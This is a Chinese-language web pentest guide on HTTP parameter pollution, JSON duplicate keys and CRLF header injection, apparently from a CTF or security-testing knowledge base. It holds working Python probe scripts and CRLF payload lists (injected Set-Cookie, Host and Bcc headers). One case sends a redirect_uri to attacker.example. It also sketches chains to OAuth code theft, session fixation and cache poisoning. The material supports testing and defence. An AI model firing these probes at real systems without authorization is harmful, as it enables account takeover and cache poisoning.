Skip to content

HPP / CRLF Injection / Header Injection ​

HPP 是参数取值差异,CRLF 是头部边界差异。二者的共同点是:前置层、中间件、业务代码和下游服务看到的“同一个输入”不一定相同。

输入信号 ​

信号立即动作命中样本失败样本
同参数重复时响应变化first/last/array/join 取值矩阵role=user&role=admin 命中不同分支框架固定取值且业务不受影响
WAF/业务错误不一致benign first + payload secondWAF 放行,业务进入 payload 分支两层都看同一值
redirect/header 可控注入 %0d%0aX-Test:响应头出现新增 headerheader 编码或丢弃换行
URL 被后端请求CRLF 改 Host/header/pathSSRF 下游请求差异URL parser 拒绝控制字符
邮件/邀请/反馈表单Subject/Bcc/Content-Type 头差分邮件头/正文结构改变mailer 做 header encoding
JSON body 允许重复键{"a":1,"a":2}WAF/业务取不同值JSON parser 同层处理

工作流 ​

text
建立 baseline 参数和 header
  → 构造 duplicate/query/json/form 取值矩阵
  → 对比 WAF/业务/下游响应差异
  → 对 Location/Set-Cookie/Cache/Email/SSRF sink 测 CRLF
  → 用响应头、回连、邮件、缓存或状态变化证明命中

0. HPP 取值矩阵 ​

平台/解析器常见行为利用方向
PHP最后一个WAF 看 first,业务用 last
Java ServletgetParameter first,getParameterValues all中间件/业务分叉
ASP.NET逗号 join拼接后绕过枚举
Express qsarray/object类型混淆、PP 串联
Flask/Werkzeugfirst,getlist all业务取值点差异
Go net/httpfirst,Values 保留 allhandler 自定义分叉

1. HPP oracle ​

python
#!/usr/bin/env python3
import argparse
import hashlib
import json
import requests
from urllib.parse import urlencode

def digest(text):
    return hashlib.sha256(text.encode("utf-8", errors="ignore")).hexdigest()[:16]

def cases(param, a, b):
    return [
        ("first_second", [(param, a), (param, b)]),
        ("second_first", [(param, b), (param, a)]),
        ("array_suffix", [(param, a), (param + "[]", b)]),
        ("encoded_amp", [(param, a + "%26" + param + "=" + b)]),
        ("semicolon", f"{param}={a};{param}={b}"),
        ("comma_join", [(param, f"{a},{b}")]),
    ]

def hit(url, params):
    if isinstance(params, str):
        sep = "&" if "?" in url else "?"
        r = requests.get(url + sep + params, timeout=10)
    else:
        r = requests.get(url, params=params, timeout=10)
    return {"url": r.url, "status": r.status_code, "hash": digest(r.text), "location": r.headers.get("Location",""), "sample": r.text[:180]}

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--param", required=True)
    ap.add_argument("--normal", default="user")
    ap.add_argument("--payload", default="admin")
    args = ap.parse_args()
    for name, params in cases(args.param, args.normal, args.payload):
        print(json.dumps({"case": name, "result": hit(args.url, params)}, ensure_ascii=False))

if __name__ == "__main__":
    main()

成功样本:同一语义参数的顺序/数组/编码导致身份、价格、redirect、SQL/SSTI 过滤结果或响应 hash 稳定变化。失败样本:所有变体同一 hash,说明当前参数未被多层差异处理。

2. JSON duplicate key ​

python
#!/usr/bin/env python3
import argparse
import hashlib
import json
import requests

def h(text):
    return hashlib.sha256(text.encode("utf-8", errors="ignore")).hexdigest()[:16]

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cookie", default="")
    args = ap.parse_args()
    bodies = {
        "role_user_admin": '{"role":"user","role":"admin"}',
        "price_high_low": '{"price":1000,"price":1}',
        "redirect_safe_evil": '{"redirect_uri":"https://safe.example","redirect_uri":"https://attacker.example"}',
    }
    headers = {"Content-Type": "application/json"}
    if args.cookie:
        headers["Cookie"] = args.cookie
    for name, body in bodies.items():
        r = requests.post(args.url, data=body, headers=headers, timeout=10)
        print(json.dumps({"case": name, "status": r.status_code, "hash": h(r.text), "sample": r.text[:180]}, ensure_ascii=False))

if __name__ == "__main__":
    main()

3. CRLF sink 矩阵 ​

SinkPayload命中样本失败样本
Location%0d%0aSet-Cookie: crlf=1响应头新增 cookie/headerheader value 被 encode
Set-Cookie%0d%0aX-Injected: 1新 header 出现cookie parser 拒绝
cache key/header%0d%0aCache-Control: public缓存状态改变CDN 丢弃换行
SSRF URL%0d%0aHost: internal下游 listener 看到 headerURL parser reject
email subject/namex%0d%0aBcc: ...邮件头结构变化mailer 编码头部
python
#!/usr/bin/env python3
import argparse
import json
import requests

PAYLOADS = [
    "%0d%0aX-Injected: crlf_probe",
    "%0D%0ASet-Cookie:%20crlf_probe=1",
    "%0aX-Injected:%20lf_probe",
    "%0dX-Injected:%20cr_probe",
    "%250d%250aX-Injected:%2520double_encoded",
]

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True, help="Use {payload} placeholder")
    args = ap.parse_args()
    for p in PAYLOADS:
        url = args.url.replace("{payload}", p)
        r = requests.get(url, allow_redirects=False, timeout=10)
        interesting = {k: v for k, v in r.headers.items() if "Injected" in k or "Set-Cookie" in k or "Location" in k}
        print(json.dumps({"payload": p, "status": r.status_code, "headers": interesting, "body": r.text[:120]}, ensure_ascii=False))

if __name__ == "__main__":
    main()

4. 组合攻击链 ​

text
HPP redirect_uri
  → OAuth 中间件取 first,业务取 last
  → code/token 回到 attacker callback

HPP amount/role
  → WAF/校验层看 normal
  → 业务层取 payload
  → 订单、权限、flag 差异

CRLF Location
  → 响应头注入 Set-Cookie/Cache-Control
  → session fixation / cache poisoning / XSS 二跳

CRLF SSRF URL
  → 下游 Host/header/path 差异
  → 内网服务探测或协议拼接

Evidence ​

项记录内容
参数矩阵参数名、顺序、编码、数组/分号/JSON 重复键
解析差异WAF/中间件/业务/下游响应状态、hash、错误文本
Header sink可控 header、payload 编码层数、新增响应头
成功样本redirect、cookie、cache、订单、权限、OAuth code、flag 差异
失败样本所有变体同 hash、换行被编码、pre-parser 拒绝控制字符
下一跳redirect 转 OAuth;cache 转 08-infra;SSRF 转 04-ssrf;金额转 payment

MCP 工具映射 ​

步骤MCP 工具说明
参数矩阵http_probe发送 duplicate/query/json/form 变体
Header sinkhttp_probe固定 redirect/header 参数并比较响应头
知识路由kb_router按 HPP、CRLF、header injection、parser differential 搜索

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用